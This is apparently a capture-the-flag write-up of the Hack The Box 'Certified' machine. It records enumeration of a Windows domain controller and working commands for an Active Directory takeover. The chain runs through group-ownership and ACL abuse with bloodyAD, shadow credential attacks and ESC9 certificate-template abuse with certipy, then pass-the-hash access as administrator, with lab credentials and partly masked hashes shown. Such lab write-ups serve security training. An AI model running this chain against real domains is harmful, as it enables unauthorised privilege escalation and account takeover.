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HTB - Certified

Enumeration

Nmap Scan

┌─[kali@parrot]─[~/HackTheBox/platform/machines/Certified]
└──╼ $nmap -p1-10000 --min-rate 10000 $ip -Pn

PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
9389/tcp open  adws

┌─[kali@parrot]─[~/HackTheBox/platform/machines/Certified]
└──╼ $nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985 -sCV $ip -Pn -oN Nmap/script-scan

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-18 00:11:26Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Active Directory LDAP (Domain: certified.htb)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2025-01-18T00:12:52+00:00; +7h00m05s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-18T00:12:53+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-18T00:12:52+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-18T00:12:53+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Summary

* Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389
* UDP open ports: 88 - 123 - 53
* Services: DNS - KERBEROS - LDAP - RPC - SMB - LDAPS - winRM
* Important notes: Domain: certified.htb - DNS:DC01.certified.htb

hosts file

┌─[kali@parrot]─[~/HackTheBox/platform/machines/Certified]
└──╼ $sudo sh -c "echo  '$ip dc01 dc01.certified.htb certified.htb' >> /etc/hosts"

┌─[kali@parrot]─[~/HackTheBox/platform/machines/Certified]
└──╼ $tail -n1 /etc/hosts
10.10.11.41 dc01 dc01.certified.htb certified.htb

As is common in Windows pentests, you will start the Certified box with credentials for the following account: Username: judith.mader Password: judith09

To speed the process of typing credentials each time I run a tool, I will export them to variables

export ip=10.10.11.41; export domain=Certified.htb; export user=judith.mader ;export pass=judith09

Since I already have credentials, I will move directly to dump ldap data along with smb enumeration and others using cicada-masterful

┌─[✗]─[kali@parrot]─[~/HackTheBox/platform/machines/Certified]
└──╼ $python3 /opt/cicada-mastertul.py -u $user -p $pass -d $domain -t $ip --full


        	         ██████╗██╗ ██████╗ █████╗ ██████╗  █████╗                    
                        ██╔════╝██║██╔════╝██╔══██╗██╔══██╗██╔══██╗
                        ██║     ██║██║     ███████║██║  ██║███████║
                        ██║     ██║██║     ██╔══██║██║  ██║██╔══██║
                        ╚██████╗██║╚██████╗██║  ██║██████╔╝██║  ██║
                         ╚═════╝╚═╝ ╚═════╝╚═╝  ╚═╝╚═════╝ ╚═╝  ╚═╝   
                                |__ by - theblxckcicada __|               

        ███╗   ███╗ █████╗ ███████╗████████╗███████╗██████╗ ████████╗██╗   ██╗██╗
        ████╗ ████║██╔══██╗██╔════╝╚══██╔══╝██╔════╝██╔══██╗╚══██╔══╝██║   ██║██║
        ██╔████╔██║███████║███████╗   ██║   █████╗  ██████╔╝   ██║   ██║   ██║██║
        ██║╚██╔╝██║██╔══██║╚════██║   ██║   ██╔══╝  ██╔══██╗   ██║   ██║   ██║██
        ██║ ╚═╝ ██║██║  ██║███████║   ██║   ███████╗██║  ██║   ██║   ╚██████╔╝███████╗
        ╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝   ╚═╝   ╚══════╝╚═╝  ╚═╝   ╚═╝    ╚═════╝ ╚══════╝
----------------------------------------------------
Target IP: 10.10.11.41
Domain: Certified.htb
Username: judith.mader
Password: judith09
Full Mode Enabled
----------------------------------------------------
--------------------HAPPY HAUNTING!!----------------
----------------------------------------------------
[!x!] Scanning 10.10.11.41
[!] Enumerating SMB...
[-] Could not connect to SMB 
[!] Connecting to WinRM...
[-] Could not connect to WinRM 
[!] Enumerating Lookupsids using impacket...
[+] Lookupsids saved to /home/kali/HackTheBox/platform/machines/Certified/mastertul/10.10.11.41/lookupsid_results/lookupsid_file.txt
[+] Users list saved to /home/kali/HackTheBox/platform/machines/Certified/mastertul/10.10.11.41/lookupsid_results/users.txt
[!] Enumerating NPUsers using impacket...
[-] No NPUsers found
[!] Enumerating UserSPNs using impacket...
[-] No UserSPNs found
[!] Collecting Bloodhound Files...
[+] Bloodhound saved to /home/kali/HackTheBox/platform/machines/Certified/mastertul/10.10.11.41/bloodhound_results
[!] Enumerating LDAP...
[+] LDAP saved to /home/kali/HackTheBox/platform/machines/Certified/mastertul/10.10.11.41/ldap_results

Prepare archive for bloodhound GUI

┌─[kali@parrot]─[~/HackTheBox/platform/machines/Certified/mastertul/10.10.11.41]
└──╼ $zip certified.zip bloodhound_results/* 
  adding: bloodhound_results/20250117122048_computers.json (deflated 73%)
  adding: bloodhound_results/20250117122048_containers.json (deflated 93%)
  adding: bloodhound_results/20250117122048_domains.json (deflated 76%)
  adding: bloodhound_results/20250117122048_gpos.json (deflated 85%)
  adding: bloodhound_results/20250117122048_groups.json (deflated 94%)
  adding: bloodhound_results/20250117122048_ous.json (deflated 64%)
  adding: bloodhound_results/20250117122048_users.json (deflated 93%)

In ldap_results/domain_users.html, There are the domain users and I noticed two users that could have high permission. management_svc is a member of Remote Management Users and ca_operator which from its name can interact with ADCS

I will use powerview.py to enumerate the user's privileges from my attacking machine manually

powerview $domain/$user:$pass@dc01

User judith.mader has WriteOwner on management group

I also can confirm it with bloodhound

Management group has GenericWrite on management_svc

BloodHound view:

Mangement_svc has FullControl on Ca_operator

BloodHound View:

Foothold

So the attack path is as follows:

  1. Write Ownership on Management Group

  2. Grant FullControl from this Ownership

  3. Add me (as judith.mader ) to Management Group to inherit its privileges

  4. Abuse GenericWrite to add Shadow Credentials to management_svc and get his hash

  5. Abuse GenericAll from management_svc to add shadow Credentials to ca_operator

  6. Enumerate ADCS using ca_operator for misconfigured templates

Add OwnerShip and Grant FullControl

bloodyAD -u judith.mader -p judith09 -d certified.htb --dc-ip 10.10.11.41 --host dc01.certified.htb set owner "CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB" judith.mader

bloodyAD -u judith.mader -p judith09 -d certified.htb --dc-ip 10.10.11.41 --host dc01.certified.htb add genericAll "CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB" judith.mader

Add me to Mangement Group

python3 powerview.py certified.htb/judith.mader:'judith09'@dc01.certified.htb
Add-DomainGroupMember -Identity "MANAGEMENT" -Members judith.mader

bloodyAD -u judith.mader -p judith09 -d certified.htb --dc-ip 10.10.11.41 --host dc01.certified.htb add groupMember "CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB" judith.mader

Get management_svc by Shadow Credential attacks, Then attack ca_operator with these credentials and his hash, too

certipy shadow auto -username judith.mader@certified.htb -p judith09 -account management_svc -target dc01.certified.htb
certipy shadow auto -u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c2xxxxxxxxxxxx -account ca_operator -dc-ip 10.10.11.41

Privilege Escalation

Having ca_operator, I will enumerate ADCS to find misconfigured templates looking for escalation paths

certipy find -u ca_operator -hashes :b4b86f45c6018fxxxxxxxxxxxxx -dc-ip 10.10.11.41 -vulnerable -stdout

Template Name                       : CertifiedAuthentication
Display Name                        : Certified Authentication
Certificate Authorities             : certified-DC01-CA

..snip..

[!] Vulnerabilities
 ESC9   : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

ESC9 attack allows me to update the User prinical Name attribute for any account only if I have GenericWrite on it to do so.

Since I have GenericWrite from management_svc, I will update UPN of ca_operator to match administrator's UPN

After that, I will use ca_operator to request a template impersonating Administrator

certipy account update -u 'management_svc@certified.htb' -hashes :a091c1832bcdd467xxxxxxxxxxxxx -user ca_operator -upn Administrator@certified.htb

certipy req -u 'ca_operator@certified.htb' -hashes :b4b86f45c6018f1b66xxxxxxxxxxxxxxx -ca certified-DC01-CA -template CertifiedAuthentication

For the authentication to work, you should revert the UPN to ca_operator again

certipy account update -u 'management_svc@certified.htb' -hashes :a091c1832bcdd467xxxxxxxxxxxxx -user ca_operator -upn ca_operator@certified.htb

certipy auth -pfx administrator.pfx -dc-ip 10.10.11.41
┌─[kali@parrot]─[~/HackTheBox/platform/machines/Certified]
└──╼ $evil-winrm -i dc01 -u administrator -H 0d5b49608bbce175xxxxxxxxxxxx

*Evil-WinRM* PS C:\Users> type management_svc\Desktop\user.txt
72b66b72cc4346c0c3xxxxxxxxxxxxxxxx

*Evil-WinRM* PS C:\Users> type Administrator\Desktop\root.txt
0c0e5a69756ffa9b7xxxxxxxxxxxxxxxxx

User Flag: 72b66b72cc4346c0c3xxxxxxxxxxxxxxxx

Root Flag: 0c0e5a69756ffa9b7xxxxxxxxxxxxxxxxx

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